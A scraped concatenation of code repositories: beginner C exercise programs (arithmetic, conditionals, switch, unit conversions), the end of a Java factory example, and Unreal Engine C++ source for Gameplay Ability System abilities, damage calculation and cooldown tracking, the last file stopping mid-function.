ItemCreation item1 = factory.createItem("Paper");
ItemCreation item2 = factory.createItem("Pencils");
System.out.print(item1.getName() + " ");
System.out.println(item1.getPrice());
System.out.print(item2.getName() + " ");
System.out.println(item2.getPrice());
}
}
| 139ac1d7b025e14e1a24705661761f49c1452fa8 | [
"Markdown",
"Java"
] | 3 | Java | rhalim20/Design-Assigment-1 | 89509a1f5175b8230bede0c9f7a3126782bba1d1 | cf4fb61fcfd93d11b66b84070e3c24b74453fd6d |
refs/heads/main | <file_sep>#include<stdio.h>
int main()
{
int x,y;
printf("\nENTER THE VALUE OF x:");
scanf("%d",&x);
printf("\nENTER THE VALUE OF y:");
scanf("%d",&y);
x+=y;//x=x+y
printf("\nX+=Y: %d",x);
x-=y;//x=x-y
printf("\nX-=Y: %d",x);
x*=y;//x=x*y
printf("\nX*=Y: %d",x);
x/=y;//x=x/y
printf("\nX/=Y: %d",x);
x%=y;//x=x%y
printf("\nX%=Y: %d",x);
return 0;
}
/*#include<stdio.h>
int main()
{
int x=10,y=5;
x+=y;
printf("\nX= %d",x);
return 0;
}*/
<file_sep>//Temperature of a city in fahrenheit degrees is input through the keyboard.write a program to covert this temperature into centigrade degrees.//
/*#include<stdio.h>
int main()
{
float f,c;
printf("ENTER THE TEMPERATURE IN FAHRENHEIT: ");
scanf("%f",&f);
c= (f-32)*5/9;
printf("TEMPERATUE IN CELSIUS: %0.2f",c);
return 0;
}*/
#include<stdio.h>
int main()
{
float f,c;
printf("\nENTER THE TEMPERATURE IN CELSIUS: ");
scanf("%f",&c);
f= (c*9/5)+32;
printf("\nTEMPERATURE IN FAHRENHEIT IS: %f",f);
return 0;
}
<file_sep>//Ramesh's basic salary is input through the keyboard.His dearness allowance is 40% of basic salary, and house rent allowance is 20% of basic salary.write a program to calculate his gross salary.//
#include<stdio.h>
int main()
{
float bs,da,hra,gs;
printf("\nEnter the Basic Salary: ");
scanf("%f",&bs);
da= bs*0.4;
hra= bs*0.2;
gs= bs+da+hra;
printf("\nBasic salary:%0.2f",bs);
printf("\nDEARNESS ALLOWANCE:%0.2f",da);
printf("\nHOUSE RENT ALLOWANCE:%0.2f",hra);
printf("\nGROSS PAY:%0.2f",gs);
return 0;
}
<file_sep>/*#include<stdio.h>
int main()
{
int a,b,c;
float f;
printf("\nENTER TWO NUMBERS:");
scanf("%d %d",&a,&b);
c=a+b;
printf("\nSUM: %d",c);
c=a-b;
printf("\nDIFFERENCE: %d",c);
c=a*b;
printf("\nMULTIPLICATION: %d",c);
f=a/b;
printf("\nDIVISION: %f",f);
c=a%b;
printf("\nMOD: %d",c);
return 0;
}*/
/* #include<stdio.h>
int main()
{
char a,b,c;
a= 'A';
b= 'B';
c= a+b;
printf("\nTHE VALUE OF 'A' IN INTEGER: %d",a);
printf("\nTHE VALUE OF 'B' IN INTEGER: %d",b);
printf("\nTHE VALUE OF 'A+B' IN INTEGER:%d",c);
return 0;
}*/
/*#include<stdio.h>
int main()
{
printf(" \n %d \n %d \n %d \n %d \n %d",6,4,-8,45,-99);
return 0;
}*/
<file_sep>//PRINT NUMBERS USING SWITCH STATEMENT
/*#include <stdio.h>
int main()
{
int num;
printf("\nENTER THE VALUE: ");
scanf("%d", &num);
switch (num)
{
case 1:
printf("\n NUMBER IS ONE!");
break;
case 2:
printf("\n NUMBER IS TWO!");
break;
case 3:
printf("\n NUMBER IS THREE!");
break;
case 4:
printf("\n NUMBER IS FOUR!");
break;
case 5:
printf("\n NUMBER IS FIVE!");
break;
default:
printf("\n NUMBER IS NOT LISTED!");
break;
}
}*/
//GRADE PERFORMANCE IN SWITCH STATEMENT
/*#include <stdio.h>
int main()
{
char grade;
printf("\nENTER YOUR GRADE: ");
scanf("%c", &grade);
switch (grade)
{
case 'O':
printf("\n EXCELLENT GRADE!");
break;
case 'A':
printf("\n VERY GOOD GRADE!");
break;
case 'B':
printf("\n GOOD GRADE!");
break;
case 'C':
printf("\n AVERAGE GRADE!");
break;
case 'D':
printf("\n NEED TO IMPROVE!");
break;
default:
printf("\n INVALID GRADE!");
break;
}
}*/
#include <stdio.h>
int main()
{
int num = 2;
switch (num + 2)
{
case 1:
printf("Case1: Value is: %d", num);
break;
case 2:
printf("Case2: Value is: %d", num);
break;
case 3:
printf("Case3: Value is: %d", num);
break;
case 4:
printf("Case4: Value is: %d", num);
break;
default:
printf("Default Value is: %d", num);
break;
}
return 0;
}
<file_sep>//The length & breadth of a rectangle and radius of a circle are input through the keyboard.write a program to calculate the area & perimeter of the rectangle,and the area & circumference of the circle//
#include<stdio.h>
int main()
{
float l,b,r,AREA,PERIMETER,Area,Perimeter,CIRCUMFERENCE;
printf("\nENTER THE LENGTH AND BREADTH FOR RECTANGLE: ");
printf("\nEnter the Length: ");
scanf("%f",&l);
printf("\nEnter the Breadth: ");
scanf("%f",&b);
printf("\nENTER THE RADIUS FOR CIRCLE: ");
printf("\nEnter the radius: ");
scanf("%f",&r);
AREA= l*b;
PERIMETER= 2*(l+b);
Area= 3.14*r*r;
CIRCUMFERENCE= 2*3.14*r;
printf("\nAREA OF RECTANGALE: %0.2f",AREA);
printf("\nPERIMETER OF RECTANGLE: %0.2f",PERIMETER);
printf("\nAREA OF CIRCLE: %0.2f",Area);
printf("\nCIRCUMFERENCE OF CIRCLE: %0.2f",CIRCUMFERENCE);
return 0;
}
<file_sep>#include<stdio.h>
int main()
{
int a=3,b=6;
printf("\na>b = %d",a>b);
printf("\na<b = %d",a<b);
printf("\na>=b = %d",a>=b);
printf("\na<=b = %d",a<=b);
printf("\na=b = %d",a==b);
return 0;
}
<file_sep>//If a five digit number is input through the keyboard,write a program to reverse the number.//
#include<stdio.h>
int main()
{
int a,b,c,d,e,f,g,h,i,Result;
printf("\nENTER FIVE DIGIT NUMBER: ");
scanf("%d",&a);//12345
b= a/10;//1234
c= a%10;//5
d= b/10;//123
e= b%10;//4
f= d/10;//12
g= d%10;//3
h= f/10;//1
i= f%10;//2
Result= (c*10000+e*1000+g*100+i*10+h);
printf("\nREVERSE OF FIVE DIGITS: %d",Result);
return 0;
}
<file_sep>//A cashier has currency notes of denominates 10,50 and 100.If the amount to be withdrawn is input through the keyboard in hundreds,find the total number of currency notes of each denomination the cashier wil have to give to the withdrawer//
#include<stdio.h>
int main()
{
int amount;
printf("\nENTER THE AMOUNT TO WITHDRAW: ");
scanf("%d",&amount);
printf("\nREQUIRED NOTES OF 100'S: %d",(amount/100));
printf("\nREQUIRED NOTES OF 50'S: %d",(amount%100/50));
printf("\nREQUIRED NOTES OF 10'S: %d",(amount%100%50/10));
printf("\nAMOUNT OF STILL REMAINING: %d",(amount%100%50%10));
return 0;
}
<file_sep>//PRE-INCREMENT AND POST-INCREMENT
#include<stdio.h>
int main()
{
int a=2;
printf("\npre increment= %d",++a);
printf("\nA : %d",a);
printf("\npost increment= %d",a++);
printf("\nA : %d",a);
}
//PRE-DECREMENT AND POST-DECREMENT
/*#include<stdio.h>
int main()
{
int a=2;
printf("\npre decrement= %d",--a);
printf("\nA : %d",a);
printf("\npost decrement= %d",a--);
printf("\nA : %d",a);
}*/
<file_sep>//If a four digit number is input through the keyboard,write a program to obtain the sum of the first and last digit of this number//
#include<stdio.h>
int main()
{
int a,b,c,d,e,f,g,h;
printf("\nENTER THE FOUR DIGIT: ");
scanf("%d",&a);//1234
b=a/10;//123
c=a%10;//4
d=b/10;//12
e=b%10;//3
f=d/10;//1
g=d%10;//2
h=c+f;
printf("\nSUM OF FIRST AND LAST DIGITS: %d",h);
return 0;
}
<file_sep>#include<stdio.h>
int main()
{
int a,b,c;
printf("ENTER ANY TWO NUMBERS: \n ");
scanf("%d%d",&a,&b);
c= a>b?a:b;
printf("\nGREATEST NUMBER IS %d",c);
return 0;
}
<file_sep>#include<stdio.h>
int main()
{
int a;
printf("ENTER THE NUMBER: ");
scanf("%d",&a);
if(a>0)
{
printf("%d IS A POSITIVE NUMBER!",a);
}
else if(a<0)
{
printf("%d IS A NEGATIVE NUMBER!",a);
}
else if(a==0)
{
printf("THE GIVEN NUMBER IS ZERO!",a);
}
return 0;
}
<file_sep>#include<stdio.h>
int main()
{
int maths= 55,science= 34,social= 66,evs =99,english=25,tamil= 45,total= 459;
printf("\nMATHS: %d",maths>=35 && maths<=100);
printf("\nSCIENCE: %d",science>=35 || science<=100);
printf("\nSOCIAL: %d",social>=35 && social<=100);
printf("\nEVS: %d",evs>=35 && evs<=100);
printf("\nENGLISH: %d",english>=35 && english<=100);
printf("\nTAMIL: %d",tamil>=35 && tamil<=100);
printf("\nTOTAL: %d",!(total>=600));
}
<file_sep>//If a five digit number is input through the keyboard,write a program to calculate the sum of its digits//
/*#include<stdio.h>
int main()
{
int a,b,c,d,e,f,g,h,i,sum=0;
printf("\nENTER FIVE DIGIT NUMBER: ");
scanf("%d",&a);//12345
b= a/10;//1234
c= a%10;//5
sum+=c;//sum=sum+c
d= b/10;//123
e= b%10;//4
sum+=e;//sum=sum+e
f= d/10;//12
g= d%10;//3
sum+=g;//sum=sum+g
h= f/10;//1
sum+=h;//sum=sum+h
i= f%10;//2
sum+=i;//sum=sum+i
printf("\nSUM OF FIVE DIGITS: %d",sum);
return 0;
}*/
#include<stdio.h>
int main()
{
int a,b,c,d,e,f,g,h,i,sum;
printf("\nENTER FIVE DIGIT NUMBER: ");
scanf("%d",&a);//12345
b= a/10;//1234
c= a%10;//5
d= b/10;//123
e= b%10;//4
f= d/10;//12
g= d%10;//3
h= f/10;//1
i= f%10;//2
sum=c+e+g+h+i;
printf("\nSUM OF FIVE DIGITS: %d",sum);
return 0;
}
<file_sep>//Two numbers are input through the keyboard into two location C and D.Write a program to interchange the contents of C and D.//
#include<stdio.h>
int main()
{
int c,d,b;
printf("\nENTER ANY TWO NUMBERS: ");
scanf("%d %d",&c,&d);
printf("\nNUMBER BEFORE SWAPPING");
printf("\n C: %d D: %d",c,d);
b=c;
c=d;
d=b;
printf("\nNUMBERS AFTER SWAPPING");
printf("\n C: %d D: %d",c,d);
return 0;
}
<file_sep>#include<stdio.h>
int main()
{
char name [5];
int age;
printf("\nENTER THE YOUR NAME: ");
scanf("%s",name);
printf("\nENTER THE YOUR AGE: ");
scanf("%d",&age);
if(age>=18)
{
printf("\n %s AGE IS %d ELIGIBLE FOR DRIVING!",name,age);
}
return 0;
}
<file_sep>#include<stdio.h>
int main()
{
int y;
printf("ENTER THE YEAR: ");
scanf("%d",&y);
if(y%100 == 0)
{
if(y%400 == 0)
{
printf("\n %d IS A LEAP YEAR",y);
}
else
{
printf("\n %d IS NOT A LEAP YEAR",y);
}
}
else
{
if(y%4 == 0)
{
printf("\n %d IS A LEAP YEAR",y);
}
else
{
printf("\n %d IS NOT A LEAP YEAR",y);
}
}
}
<file_sep>//In a town,the percentage of men is 52.The percentage of total literacy is 48,if total percentage of literate men is 35 of the total population,write a program to find the total number of illiterate men and women if the population of the town is 80,000.//
#include<stdio.h>
int main()
{
int pop,pop_men,men_lit,pop_women,total_lit,women_lit,total_men_women_lit,total_num_illiterate,men_illiterate,women_illiterate;
printf("\nENTER THE TOTAL NUMBER OF POPULATION: ");
scanf("%d",&pop);
pop_men= (52*pop)/100;
men_lit= (35*pop_men)/100;
pop_women= pop-pop_men;
total_lit= (48*pop)/100;
women_lit= total_lit - men_lit;
total_men_women_lit= men_lit + women_lit;
men_illiterate= pop_men-men_lit;
women_illiterate= pop_women-women_lit;
total_num_illiterate= pop - total_men_women_lit;
printf("\nTOTAL NO OF POPULATION IN MEN: %d",pop_men);
printf("\nTOTAL NO OF POPULATION IN WOMEN: %d",pop_women);
printf("\nTOTAL NO OF LITERATE IN MEN: %d",men_lit);
printf("\nTOTAL NO OF LITERATE IN WOMEN: %d",women_lit);
printf("\nTOTAL NO OF LITERATE IN MEN AND WOMEN: %d",total_men_women_lit);
printf("\nTOTAL NO OF ILLITERATE IN MEN: %d",men_illiterate);
printf("\nTOTAL NO OF ILLITERATE IN WOMEN: %d",women_illiterate);
printf("\nTOTAL NO OF ILLITERATE MEN AND WOMEN IS: %d",total_num_illiterate);
return 0;
}
<file_sep>//The distance between two cities (in km)is input through the keyboard,write a program to convert and print this distance in meters,feet,inches and centimeters.//
#include<stdio.h>
int main()
{
float km,m,feet,inch,cm;
printf("\nEnter the Distance between CHE to KUM in km: ");
scanf("%f",&km);// km =10
m= km*1000; // m = 10*1000 => m = 10000
cm= m*100; // 10000*100 => cm = 1000000
inch= cm/2.54;// inch = 1000000/2.54 => inch =3,93,700.78
feet= inch/12; // feet = 3,93,700.78/12 => feet = 32,808.39
printf("\nDistance between CHE to KUM in m: %0.1f",m);
printf("\nDistance between CHE to KUM in cm: %0.1f",cm);
printf("\nDistance between CHE to KUM in inch: %0.1f",inch);
printf("\nDistance between CHE to KUM in feet: %0.1f",feet);
return 0;
}
<file_sep>//If the total selling price of 15 items and the total profit earned on them is input through the keyboard,write a program to find the cost price of one item.//
#include<stdio.h>
int main()
{
int sell_price,profit,brought_price,cost_price;
printf("\nENTER THE SELLING PRICE FOR 15 ITEMS AND PROFIT PRICE: ");
printf("\nSELLING PRICE: ");
scanf("%d",&sell_price);
printf("\nPROFIT: ");
scanf("%d",&profit);
brought_price= sell_price-profit;
cost_price= (brought_price/15);
printf("\nCOST PRICE FOR 15 ITEMS: %d",brought_price);
printf("\n\nCOST PRICE FOR ONE ITEM IS: %d",cost_price);
return 0;
}
<file_sep>#include<stdio.h>
int main()
{
int a=10,b=11;
printf("\nBITWISE AND : %d",a&b);
printf("\nBITWISE OR : %d",a|b);
printf("\nBITWISE XOR : %d",a^b);
printf("\nBITWISE NOT: %d",~b);
int x=14,y,z;
y=x<<2;
z=x>>2;
printf("\nLEFT SHIFT : %d",y);
printf("\nRIGHT SHIFT : %d",z);
}
<file_sep>#include<stdio.h>
int main()
{
char name[10];
int age;
printf("\nENTER THE NAME: ");
scanf("%s",name);
printf("\nENTER THE AGE: ");
scanf("%d",&age);
if(age>=18)
{
printf("\n %s Age is %d Eligible for Driving!",name,age);
printf("\n DRIVE SAFELY!");
}
else
{
printf("\n %s Age is %d Not Eligible for Driving!",name,age);
printf("\n Eligible Age Range is >=18!");
printf("\n THANK YOU!");
}
return 0;
}
<file_sep>//If the marks obtained by a student in five different subjects are input through the keyboard ,find out the aggregate marks and percentage marks obtained by the student in each subject is 100.//
#include<stdio.h>
int main()
{
int m1,m2,m3,m4,m5,total;
float percentage;
printf("Enter the subject marks");
printf("\nMaths mark: ");
scanf("%d",&m1);
printf("\nEnglish mark: ");
scanf("%d",&m2);
printf("\nTamil mark: ");
scanf("%d",&m3);
printf("\nScience mark: ");
scanf("%d",&m4);
printf("\nSocial mark: ");
scanf("%d",&m5);
total= m1+m2+m3+m4+m5;
percentage= total/5;
printf("\nTotal Marks: %d",total);
printf("\nPercentage: %0.4f",percentage);
return 0;
}
| b93de33b06b3f71d3cde89b5abfe3f967cd3d7de | [
"C"
] | 24 | C | gokkul26/personal-site | 22cd945b06d261728ebd297d893d3dd2d5bb39dc | d0cd780098387bc274022e61a6518a2d9121d8cd |
refs/heads/master | <repo_name>tranek/GASDocumentation<file_sep>/Source/GASDocumentation/Private/Characters/Heroes/Abilities/GDGA_FireGun.cpp
// Copyright 2020 <NAME>.
#include "Characters/Heroes/Abilities/GDGA_FireGun.h"
#include "AbilitySystemComponent.h"
#include "Camera/CameraComponent.h"
#include "Characters/Heroes/GDHeroCharacter.h"
#include "GameFramework/SpringArmComponent.h"
#include "Kismet/KismetMathLibrary.h"
UGDGA_FireGun::UGDGA_FireGun()
{
InstancingPolicy = EGameplayAbilityInstancingPolicy::InstancedPerActor;
FGameplayTag Ability1Tag = FGameplayTag::RequestGameplayTag(FName("Ability.Skill.Ability1"));
AbilityTags.AddTag(Ability1Tag);
ActivationOwnedTags.AddTag(Ability1Tag);
ActivationBlockedTags.AddTag(FGameplayTag::RequestGameplayTag(FName("Ability.Skill")));
Range = 1000.0f;
Damage = 12.0f;
}
void UGDGA_FireGun::ActivateAbility(const FGameplayAbilitySpecHandle Handle, const FGameplayAbilityActorInfo * ActorInfo, const FGameplayAbilityActivationInfo ActivationInfo, const FGameplayEventData * TriggerEventData)
{
if (!CommitAbility(Handle, ActorInfo, ActivationInfo))
{
EndAbility(CurrentSpecHandle, CurrentActorInfo, CurrentActivationInfo, true, true);
}
UAnimMontage* MontageToPlay = FireHipMontage;
if (GetAbilitySystemComponentFromActorInfo()->HasMatchingGameplayTag(FGameplayTag::RequestGameplayTag(FName("State.AimDownSights"))) &&
!GetAbilitySystemComponentFromActorInfo()->HasMatchingGameplayTag(FGameplayTag::RequestGameplayTag(FName("State.AimDownSights.Removal"))))
{
MontageToPlay = FireIronsightsMontage;
}
// Play fire montage and wait for event telling us to spawn the projectile
UGDAT_PlayMontageAndWaitForEvent* Task = UGDAT_PlayMontageAndWaitForEvent::PlayMontageAndWaitForEvent(this, NAME_None, MontageToPlay, FGameplayTagContainer(), 1.0f, NAME_None, false, 1.0f);
Task->OnBlendOut.AddDynamic(this, &UGDGA_FireGun::OnCompleted);
Task->OnCompleted.AddDynamic(this, &UGDGA_FireGun::OnCompleted);
Task->OnInterrupted.AddDynamic(this, &UGDGA_FireGun::OnCancelled);
Task->OnCancelled.AddDynamic(this, &UGDGA_FireGun::OnCancelled);
Task->EventReceived.AddDynamic(this, &UGDGA_FireGun::EventReceived);
// ReadyForActivation() is how you activate the AbilityTask in C++. Blueprint has magic from K2Node_LatentGameplayTaskCall that will automatically call ReadyForActivation().
Task->ReadyForActivation();
}
void UGDGA_FireGun::OnCancelled(FGameplayTag EventTag, FGameplayEventData EventData)
{
EndAbility(CurrentSpecHandle, CurrentActorInfo, CurrentActivationInfo, true, true);
}
void UGDGA_FireGun::OnCompleted(FGameplayTag EventTag, FGameplayEventData EventData)
{
EndAbility(CurrentSpecHandle, CurrentActorInfo, CurrentActivationInfo, true, false);
}
void UGDGA_FireGun::EventReceived(FGameplayTag EventTag, FGameplayEventData EventData)
{
// Montage told us to end the ability before the montage finished playing.
// Montage was set to continue playing animation even after ability ends so this is okay.
if (EventTag == FGameplayTag::RequestGameplayTag(FName("Event.Montage.EndAbility")))
{
EndAbility(CurrentSpecHandle, CurrentActorInfo, CurrentActivationInfo, true, false);
return;
}
// Only spawn projectiles on the Server.
// Predicting projectiles is an advanced topic not covered in this example.
if (GetOwningActorFromActorInfo()->GetLocalRole() == ROLE_Authority && EventTag == FGameplayTag::RequestGameplayTag(FName("Event.Montage.SpawnProjectile")))
{
AGDHeroCharacter* Hero = Cast<AGDHeroCharacter>(GetAvatarActorFromActorInfo());
if (!Hero)
{
EndAbility(CurrentSpecHandle, CurrentActorInfo, CurrentActivationInfo, true, true);
}
FVector Start = Hero->GetGunComponent()->GetSocketLocation(FName("Muzzle"));
FVector End = Hero->GetCameraBoom()->GetComponentLocation() + Hero->GetFollowCamera()->GetForwardVector() * Range;
FRotator Rotation = UKismetMathLibrary::FindLookAtRotation(Start, End);
FGameplayEffectSpecHandle DamageEffectSpecHandle = MakeOutgoingGameplayEffectSpec(DamageGameplayEffect, GetAbilityLevel());
// Pass the damage to the Damage Execution Calculation through a SetByCaller value on the GameplayEffectSpec
DamageEffectSpecHandle.Data.Get()->SetSetByCallerMagnitude(FGameplayTag::RequestGameplayTag(FName("Data.Damage")), Damage);
FTransform MuzzleTransform = Hero->GetGunComponent()->GetSocketTransform(FName("Muzzle"));
MuzzleTransform.SetRotation(Rotation.Quaternion());
MuzzleTransform.SetScale3D(FVector(1.0f));
FActorSpawnParameters SpawnParameters;
SpawnParameters.SpawnCollisionHandlingOverride = ESpawnActorCollisionHandlingMethod::AlwaysSpawn;
AGDProjectile* Projectile = GetWorld()->SpawnActorDeferred<AGDProjectile>(ProjectileClass, MuzzleTransform, GetOwningActorFromActorInfo(),
Hero, ESpawnActorCollisionHandlingMethod::AlwaysSpawn);
Projectile->DamageEffectSpecHandle = DamageEffectSpecHandle;
Projectile->Range = Range;
Projectile->FinishSpawning(MuzzleTransform);
}
}
<file_sep>/Source/GASDocumentation/GASDocumentationGameMode.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "GameFramework/GameModeBase.h"
#include "GASDocumentationGameMode.generated.h"
UCLASS(minimalapi)
class AGASDocumentationGameMode : public AGameModeBase
{
GENERATED_BODY()
public:
AGASDocumentationGameMode();
void HeroDied(AController* Controller);
protected:
float RespawnDelay;
TSubclassOf<class AGDHeroCharacter> HeroClass;
AActor* EnemySpawnPoint;
virtual void BeginPlay() override;
void RespawnHero(AController* Controller);
};
<file_sep>/Source/GASDocumentation/Private/GDBlueprintLibrary.cpp
// Copyright 2020 <NAME>.
#include "GDBlueprintLibrary.h"
<file_sep>/Source/GASDocumentation/Private/Characters/Abilities/GDDamageExecCalculation.cpp
// Copyright 2020 <NAME>.
#include "Characters/Abilities/GDDamageExecCalculation.h"
#include "Characters/Abilities/GDAbilitySystemComponent.h"
#include "Characters/Abilities/AttributeSets/GDAttributeSetBase.h"
// Declare the attributes to capture and define how we want to capture them from the Source and Target.
struct GDDamageStatics
{
DECLARE_ATTRIBUTE_CAPTUREDEF(Armor);
DECLARE_ATTRIBUTE_CAPTUREDEF(Damage);
GDDamageStatics()
{
// Snapshot happens at time of GESpec creation
// We're not capturing anything from the Source in this example, but there could be like AttackPower attributes that you might want.
// Capture optional Damage set on the damage GE as a CalculationModifier under the ExecutionCalculation
DEFINE_ATTRIBUTE_CAPTUREDEF(UGDAttributeSetBase, Damage, Source, true);
// Capture the Target's Armor. Don't snapshot.
DEFINE_ATTRIBUTE_CAPTUREDEF(UGDAttributeSetBase, Armor, Target, false);
}
};
static const GDDamageStatics& DamageStatics()
{
static GDDamageStatics DStatics;
return DStatics;
}
UGDDamageExecCalculation::UGDDamageExecCalculation()
{
RelevantAttributesToCapture.Add(DamageStatics().DamageDef);
RelevantAttributesToCapture.Add(DamageStatics().ArmorDef);
}
void UGDDamageExecCalculation::Execute_Implementation(const FGameplayEffectCustomExecutionParameters & ExecutionParams, OUT FGameplayEffectCustomExecutionOutput & OutExecutionOutput) const
{
UAbilitySystemComponent* TargetAbilitySystemComponent = ExecutionParams.GetTargetAbilitySystemComponent();
UAbilitySystemComponent* SourceAbilitySystemComponent = ExecutionParams.GetSourceAbilitySystemComponent();
AActor* SourceActor = SourceAbilitySystemComponent ? SourceAbilitySystemComponent->GetAvatarActor() : nullptr;
AActor* TargetActor = TargetAbilitySystemComponent ? TargetAbilitySystemComponent->GetAvatarActor() : nullptr;
const FGameplayEffectSpec& Spec = ExecutionParams.GetOwningSpec();
// Gather the tags from the source and target as that can affect which buffs should be used
const FGameplayTagContainer* SourceTags = Spec.CapturedSourceTags.GetAggregatedTags();
const FGameplayTagContainer* TargetTags = Spec.CapturedTargetTags.GetAggregatedTags();
FAggregatorEvaluateParameters EvaluationParameters;
EvaluationParameters.SourceTags = SourceTags;
EvaluationParameters.TargetTags = TargetTags;
float Armor = 0.0f;
ExecutionParams.AttemptCalculateCapturedAttributeMagnitude(DamageStatics().ArmorDef, EvaluationParameters, Armor);
Armor = FMath::Max<float>(Armor, 0.0f);
float Damage = 0.0f;
// Capture optional damage value set on the damage GE as a CalculationModifier under the ExecutionCalculation
ExecutionParams.AttemptCalculateCapturedAttributeMagnitude(DamageStatics().DamageDef, EvaluationParameters, Damage);
// Add SetByCaller damage if it exists
Damage += FMath::Max<float>(Spec.GetSetByCallerMagnitude(FGameplayTag::RequestGameplayTag(FName("Data.Damage")), false, -1.0f), 0.0f);
float UnmitigatedDamage = Damage; // Can multiply any damage boosters here
float MitigatedDamage = (UnmitigatedDamage) * (100 / (100 + Armor));
if (MitigatedDamage > 0.f)
{
// Set the Target's damage meta attribute
OutExecutionOutput.AddOutputModifier(FGameplayModifierEvaluatedData(DamageStatics().DamageProperty, EGameplayModOp::Additive, MitigatedDamage));
}
// Broadcast damages to Target ASC
UGDAbilitySystemComponent* TargetASC = Cast<UGDAbilitySystemComponent>(TargetAbilitySystemComponent);
if (TargetASC)
{
UGDAbilitySystemComponent* SourceASC = Cast<UGDAbilitySystemComponent>(SourceAbilitySystemComponent);
TargetASC->ReceiveDamage(SourceASC, UnmitigatedDamage, MitigatedDamage);
}
}
<file_sep>/Source/GASDocumentation/Public/Player/GDPlayerController.h
// Copyright 2020 <NAME>.
#pragma once
#include "CoreMinimal.h"
#include "GameFramework/PlayerController.h"
#include "Characters/GDCharacterBase.h"
#include "GDPlayerController.generated.h"
/**
*
*/
UCLASS()
class GASDOCUMENTATION_API AGDPlayerController : public APlayerController
{
GENERATED_BODY()
public:
void CreateHUD();
UPROPERTY(EditAnywhere, Category = "GASDocumentation|UI")
TSubclassOf<class UGDDamageTextWidgetComponent> DamageNumberClass;
class UGDHUDWidget* GetHUD();
UFUNCTION(Client, Reliable, WithValidation)
void ShowDamageNumber(float DamageAmount, AGDCharacterBase* TargetCharacter);
void ShowDamageNumber_Implementation(float DamageAmount, AGDCharacterBase* TargetCharacter);
bool ShowDamageNumber_Validate(float DamageAmount, AGDCharacterBase* TargetCharacter);
// Simple way to RPC to the client the countdown until they respawn from the GameMode. Will be latency amount of out sync with the Server.
UFUNCTION(Client, Reliable, WithValidation)
void SetRespawnCountdown(float RespawnTimeRemaining);
void SetRespawnCountdown_Implementation(float RespawnTimeRemaining);
bool SetRespawnCountdown_Validate(float RespawnTimeRemaining);
protected:
UPROPERTY(BlueprintReadWrite, EditAnywhere, Category = "GASDocumentation|UI")
TSubclassOf<class UGDHUDWidget> UIHUDWidgetClass;
UPROPERTY(BlueprintReadWrite, Category = "GASDocumentation|UI")
class UGDHUDWidget* UIHUDWidget;
// Server only
virtual void OnPossess(APawn* InPawn) override;
virtual void OnRep_PlayerState() override;
};
<file_sep>/Source/GASDocumentation/Private/Characters/Abilities/AsyncTaskCooldownChanged.cpp
// Copyright 2020 <NAME>.
#include "Characters/Abilities/AsyncTaskCooldownChanged.h"
UAsyncTaskCooldownChanged * UAsyncTaskCooldownChanged::ListenForCooldownChange(UAbilitySystemComponent * AbilitySystemComponent, FGameplayTagContainer InCooldownTags, bool InUseServerCooldown)
{
UAsyncTaskCooldownChanged* ListenForCooldownChange = NewObject<UAsyncTaskCooldownChanged>();
ListenForCooldownChange->ASC = AbilitySystemComponent;
ListenForCooldownChange->CooldownTags = InCooldownTags;
ListenForCooldownChange->UseServerCooldown = InUseServerCooldown;
if (!IsValid(AbilitySystemComponent) || InCooldownTags.Num() < 1)
{
ListenForCooldownChange->EndTask();
return nullptr;
}
AbilitySystemComponent->OnActiveGameplayEffectAddedDelegateToSelf.AddUObject(ListenForCooldownChange, &UAsyncTaskCooldownChanged::OnActiveGameplayEffectAddedCallback);
TArray<FGameplayTag> CooldownTagArray;
InCooldownTags.GetGameplayTagArray(CooldownTagArray);
for (FGameplayTag CooldownTag : CooldownTagArray)
{
AbilitySystemComponent->RegisterGameplayTagEvent(CooldownTag, EGameplayTagEventType::NewOrRemoved).AddUObject(ListenForCooldownChange, &UAsyncTaskCooldownChanged::CooldownTagChanged);
}
return ListenForCooldownChange;
}
void UAsyncTaskCooldownChanged::EndTask()
{
if (IsValid(ASC))
{
ASC->OnActiveGameplayEffectAddedDelegateToSelf.RemoveAll(this);
TArray<FGameplayTag> CooldownTagArray;
CooldownTags.GetGameplayTagArray(CooldownTagArray);
for (FGameplayTag CooldownTag : CooldownTagArray)
{
ASC->RegisterGameplayTagEvent(CooldownTag, EGameplayTagEventType::NewOrRemoved).RemoveAll(this);
}
}
SetReadyToDestroy();
MarkAsGarbage();
}
void UAsyncTaskCooldownChanged::OnActiveGameplayEffectAddedCallback(UAbilitySystemComponent * Target, const FGameplayEffectSpec & SpecApplied, FActiveGameplayEffectHandle ActiveHandle)
{
FGameplayTagContainer AssetTags;
SpecApplied.GetAllAssetTags(AssetTags);
FGameplayTagContainer GrantedTags;
SpecApplied.GetAllGrantedTags(GrantedTags);
TArray<FGameplayTag> CooldownTagArray;
CooldownTags.GetGameplayTagArray(CooldownTagArray);
for (FGameplayTag CooldownTag : CooldownTagArray)
{
if (AssetTags.HasTagExact(CooldownTag) || GrantedTags.HasTagExact(CooldownTag))
{
float TimeRemaining = 0.0f;
float Duration = 0.0f;
// Expecting cooldown tag to always be first tag
FGameplayTagContainer CooldownTagContainer(GrantedTags.GetByIndex(0));
GetCooldownRemainingForTag(CooldownTagContainer, TimeRemaining, Duration);
if (ASC->GetOwnerRole() == ROLE_Authority)
{
// Player is Server
OnCooldownBegin.Broadcast(CooldownTag, TimeRemaining, Duration);
}
else if (!UseServerCooldown && SpecApplied.GetContext().GetAbilityInstance_NotReplicated())
{
// Client using predicted cooldown
OnCooldownBegin.Broadcast(CooldownTag, TimeRemaining, Duration);
}
else if (UseServerCooldown && SpecApplied.GetContext().GetAbilityInstance_NotReplicated() == nullptr)
{
// Client using Server's cooldown. This is Server's corrective cooldown GE.
OnCooldownBegin.Broadcast(CooldownTag, TimeRemaining, Duration);
}
else if (UseServerCooldown && SpecApplied.GetContext().GetAbilityInstance_NotReplicated())
{
// Client using Server's cooldown but this is predicted cooldown GE.
// This can be useful to gray out abilities until Server's cooldown comes in.
OnCooldownBegin.Broadcast(CooldownTag, -1.0f, -1.0f);
}
}
}
}
void UAsyncTaskCooldownChanged::CooldownTagChanged(const FGameplayTag CooldownTag, int32 NewCount)
{
if (NewCount == 0)
{
OnCooldownEnd.Broadcast(CooldownTag, -1.0f, -1.0f);
}
}
bool UAsyncTaskCooldownChanged::GetCooldownRemainingForTag(FGameplayTagContainer InCooldownTags, float & TimeRemaining, float & CooldownDuration)
{
if (IsValid(ASC) && InCooldownTags.Num() > 0)
{
TimeRemaining = 0.f;
CooldownDuration = 0.f;
